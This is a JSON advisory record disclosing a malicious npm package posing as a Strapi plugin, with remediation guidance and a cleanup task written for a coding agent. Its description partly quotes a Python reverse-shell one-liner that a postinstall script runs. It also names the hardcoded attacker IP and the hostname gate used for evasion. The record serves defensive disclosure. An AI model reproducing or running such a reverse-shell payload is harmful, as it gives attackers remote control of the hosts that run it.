{"answers":{"affected":"1 open source package ship an affected version, including strapi-plugin-pysh-meeb.","exploited":"There is no known exploitation of MAL-2026-16239 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-16239 is a malicious package in strapi-plugin-pysh-meeb, published on 16 Sep 2026."},"fix_prompt":"MAL-2026-16239 is a malicious package: strapi-plugin-pysh-meeb (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-16239/ (Markdown: https://insights.sbomify.com/MAL-2026-16239/index.md)","id":"MAL-2026-16239","markdown":"https://insights.sbomify.com/MAL-2026-16239/index.md","name":"MAL-2026-16239","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"strapi-plugin-pysh-meeb@3.6.8 ships a postinstall.js (also declared as the package main) that runs automatically on npm install. The script uses child_process to spawn a Python one-liner (`python3 -c 'import sys,socket,os,pty;...pty.spawn(\"sh\")'`) which opens an outbound TCP connection to the hardcoded attacker IP 14.225.210.85:80 and hands an interactive PTY shell to the remote endpoint, giving full remote code execution on the installer's host. Detonation is gated by an os.hostname() equality check against 'ubuntu-fc-uvm', a targeting/evasion mechanism that suppresses the payload on other hosts while firing on the intended victim; retry logic is present to re-establish the connection. Package metadata is consistent with a typosquat dropper: the name mimics a Strapi plugin, the repository URL uses a placeholder 'user' org and a mismatched slug (strapi-plugin-yayccresh-meeb), and the description is a generic 'Strapi plugin for enhanced functionality'. No legitimate plugin functionality is shipped.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in strapi-plugin-pysh-meeb (npm)","id":"MAL-2026-16239","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"strapi-plugin-pysh-meeb","purl":"pkg:npm/strapi-plugin-pysh-meeb","source":"MAL-2026-16239"}],"products":null,"published":"2026-09-16","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-16239/"}